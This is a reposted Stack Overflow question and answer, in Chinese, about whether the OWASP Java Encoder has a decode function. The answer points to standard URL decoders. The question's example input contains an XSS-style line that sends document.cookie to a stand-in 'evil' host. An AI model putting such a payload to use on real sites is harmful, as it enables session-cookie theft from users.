ai didi

javascript - OWASP Java Encoder 有解码功能吗?

转载 作者:塔克拉玛干 更新时间:2023-11-02 20:23:40 24 4
gpt4 key购买 nike

我使用 OWASP 编码器的 forURIComponent 方法对下面的查询字符串进行了编码。

String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";

String encodedQuery = Encode.forUriComponent(query);

现在我需要对 encodedQuery 进行解码,解码后的字符串应该与原始查询完全相同。我该怎么做?

最佳答案

我假设您在谈论 OWASP Java Encoder .据我所知,它不提供任何解码功能。

但是,由于 Encode.forUriComponent() 方法实现了标准 URL percent encoding ,您可以使用任何正确实现的 URL 解码函数对其进行解码。例如在 Java 中,根据 the answers to this question , 你可以使用 java.net.URLDecoder .

在 JavaScript 中,decodeURIComponent()应该做的伎俩。但是,如果您需要解析包含(可能)多个参数的 URI,您可能会发现 URL类(或 URLSearchParams )使用起来更方便。

关于javascript - OWASP Java Encoder 有解码功能吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/48620780/

24 4 0
文章推荐: android - 基因运动。如何从设备中提取数据库。我的/数据/数据/文件夹似乎是空的
文章推荐: iphone - UIManagedDocument 和 NSFetchedResultsController
文章推荐: android objectanimator scaleX 仅在一个方向
文章推荐: 异步完成创建的 Java 对象 - 对象在构造函数完成后的某个时间准备就绪
塔克拉玛干
个人简介

我是一名优秀的程序员,十分优秀!

滴滴打车优惠券免费领取
滴滴打车优惠券
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com